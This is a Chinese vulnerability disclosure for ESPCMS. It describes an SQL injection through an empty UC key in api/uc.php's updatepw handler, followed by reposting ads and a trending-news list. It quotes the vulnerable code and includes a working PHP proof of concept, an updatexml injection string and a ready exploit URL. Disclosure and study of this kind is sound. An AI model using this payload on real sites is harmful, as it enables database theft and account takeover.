ESPCMS UC未初始化导致SQL注入
- 发布时间:2016-08-10
- 公开时间:N/A
- 漏洞类型:SQL注入
- 危害等级:高
- 漏洞编号:xianzhi-2016-08-37732301
- 测试版本:N/A
漏洞详情
安装时未初始化uc导致注入 api/uc.php$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if (MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}
$timestamp = time();
…………
$action = $get['action'];
…………
if (in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
include_once DISCUZ_ROOT2 . 'datacache/public.php';
require_once DISCUZ_ROOT . './class_dbMysql.php';
$GLOBALS['db'] = new dbmysql();
$GLOBALS['db']->connect(db_host, db_user, db_pw, db_name, db_charset, 1);
$GLOBALS['tablepre'] = db_prefix;
$uc_note = new uc_note();
$turecode = $uc_note->$get'action';
exit($uc_note->$get'action');
…………
function updatepw($get, $post) {
if (!API_UPDATEPW) {
return API_RETURN_FORBIDDEN;
}
$username = $get['username'];
$password = $get['password'];
$newpw = md5($password);
$this->db->query("UPDATE " . $this->tablepre . "member SET password='$newpw' WHERE username='$username'"); //更改密码
return API_RETURN_SUCCEED;
}
流程是 $code->$get->$username;
UC_KEY的定义在 public/uc_config.php
define('UC_KEY', \$CONFIG['mem_uckey']);
$CONFIG['mem_uckey']在datacache/command.php
'mem_uckey'=>'',
所以UC_KEY的值就是'' 所以就能自己构造任意的值来被_authcode解密最终进入sql执行
poc如下
<?php
$timestamp = time()+10*3600;
$str = "time=$timestamp&action=updatepw&password=123&username=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#";
echo urlencode(_authcode($str,'ENCODE'));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
…………省略…………
}
这里为了方便演示开启了datacache/public.php中的db_sql和db_err选项 可以直接看到注入结果,
实际测试中默认关闭这两个选项所以需要延时注入。
访问http://192.168.1.170/espcms/api/uc.php?code=e06bFQG%2B5HM2KmutQthfoGFLlNpfo0TY7UkXxa3gXlWoSSlCg1ZeDUccbKjwS4mkiDOv9RoSGZhQKi8SfDCsyWKZ8UqYmHCpe17LrW%2FNNG5DpuUrudZHVVJxTV9YLgK3yNQGs4pef1e4CCwNA2AbT7Y06dqgIsvkqHWrmXjr%2BA82IrAjrVAUig9I9%2FsnWA
结果如图
作者:索马里的乌贼
链接:https://www.jianshu.com/p/7ba58fec258b关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 总书记深深牵挂雪域高原上的人们 4987201
- 2 小米首款汽车起售21.59万 贵吗? 4978990
- 3 雷军“朋友圈”表情包火了 4890812
- 4 抓住“热辣滚烫”的“春日经济” 4748901
- 5 黄圣依杨子直播事件6人被刑拘 4699551
- 6 小米首款汽车性能对标保时捷taycan 4516925
- 7 小米汽车27分钟大定突破50000台 4416935
- 8 女子住民宿发现多个隐藏空间 4394195
- 9 面具男用病毒针扎人系谣言 4274939
- 10 香港歌手黎明诗去世 4199812